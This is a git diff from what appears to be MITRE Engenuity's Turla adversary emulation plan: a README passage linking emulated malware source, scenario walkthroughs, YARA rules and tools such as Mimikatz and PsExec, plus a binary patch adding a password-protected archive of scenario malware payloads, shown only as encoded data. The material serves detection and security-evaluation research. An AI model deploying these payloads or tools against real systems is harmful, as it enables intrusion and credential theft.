they move laterally onto an Exchange Server and install LightNeuron. LIGHTNERON enables email collection and staging for exfiltrating stolen data via benign email PDF/JPG attachments. Turla proceeeds to collect and exfiltrate sensitive communications in an effort to identify new information sources and collect up-to-date information relevant to mission objectives. + +![Carbon Operations Flow Diagram](./Resources/Images/CarbonOpsFlow.png) +![Snake Operations Flow Diagram](./Resources/Images/SnakeOpsFlow.png) + + +# Quick Links +### For Engineers 🧑â€ðŸ’» + +### Resources + +The [Resources Folder](./Resources/) contains the emulated software source code. + +The [Binaries.zip](./Resources/Binaries/binaries.zip) contains scenario payloads in +one zip file for easy download. The password is `malware`. + +> **NOTE:** The Snake installer has not been included in this zip and must be +> recompiled. + +All other pre-built executables have been removed. To rebuild the binaries, +follow the documentation for the respective binary. + +This scenario also utilizes `Mimikatz`, `Plink`, `Pscp`, and `PsExec` as payloads: +1. [mimikatz](https://github.com/gentilkiwi/mimikatz/releases) +1. [plink.exe](https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe) +1. [pscp.exe](https://the.earth.li/~sgtatham/putty/latest/w64/pscp.exe) +1. [PsExec](https://learn.microsoft.com/en-us/sysinternals/downloads/psexec) + +### YARA Rules + +[YARA rules](./yara-rules) are provided to assist the community in researching, preventing, and detecting malware specimens used in this emulation plan. + +### Emulation Key Software 💻 + +- [EPIC](./Resources/EPIC/) + +- [Carbon](./Resources/Carbon/) + +- [Keylogger](./Resources/Keylogger/) + +- [Penquin](./Resources/Penquin/) + +- [Snake](./Resources/Snake/) + +- [LightNeuron](./Resources/LightNeuron/) + + +### Scenario Walkthrough +- [Carbon Detection Scenario](./Emulation_Plan/Carbon_Scenario/Carbon_Detections_Scenario.md) - Step by step walkthrough of Carbon Detection Scenario's procedures (10 steps) +- [Snake Detection Scenario](./Emulation_Plan/Snake_Scenario/Snake_Detections_Scenario) - Step by step walkthrough of Snake Scenario's procedures (9 steps) +- [Carbon Protection Scenario](./Emulation_Plan/Carbon_Scenario/Carbon_Protections_Scenario.md) - Step by step walkthrough of Carbon Protection Scenario's procedures (7 tests) +- [Snake Protection Scenario](./Emulation_Plan/Snake_Scenario/Snake_Protections_Scenario.md) - Step by step walkthrough of Snake Protection Scenario's procedures (6 tests) + +## For Analysts 🔎 +- [Carbon Operation Flow](./Operations_Flow/Carbon_Operations_Flow.md/) - High-level summary of the Carbon scenario & infrastructure with diagrams. +- [Snake Operation Flow](./Operations_Flow/Snake_Operations_Flow.md/) - High-level summary of the Snake scenario & infrastructure with diagrams. +- [Intelligence Summary](./Intelligence_Summary/Intelligence_Summary.md) - General overview of the Adversary with links to reporting used throughout the scenario. + +## Acknowledgements + +We would like to formally thank the people that contributed to the content, review, and format of this document. This includes the MITRE ATT&CK and MITRE ATT&CK Evaluations teams, the organizations and people that provided public intelligence and resources, as well as the following organizations that participated in the community cyber threat intelligence contribution process:
- Microsoft
- CrowdStrike + +## Connect with us ðŸ—¨ï¸ + +We 💖 feedback! Let us know how using ATT&CK Evaluation results has helped you and what we can do better. + +Email:
+Twitter: https://twitter.com/MITREengenuity
+LinkedIn: https://www.linkedin.com/company/mitre-engenuity/
+ +## Liability / Responsible Usage + +This content is only to be used with appropriate prior, explicit authorization for the purposes of assessing security posture and/or research. + +## Notice + +© 2023 MITRE Engenuity. Approved for Public Release. Document number CT0005. + +Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at + +http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. + +This project makes use of ATT&CK® + +[ATT&CK Terms of Use](https://attack.mitre.org/resources/terms-of-use/) diff --git a/turla/Resources/Binaries/binaries.zip b/turla/Resources/Binaries/binaries.zip new file mode 100644 index 0000000000000000000000000000000000000000..30cb386fd207c86b4b9e79c52a949fba6df2abd1 GIT binary patch literal 8715252 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 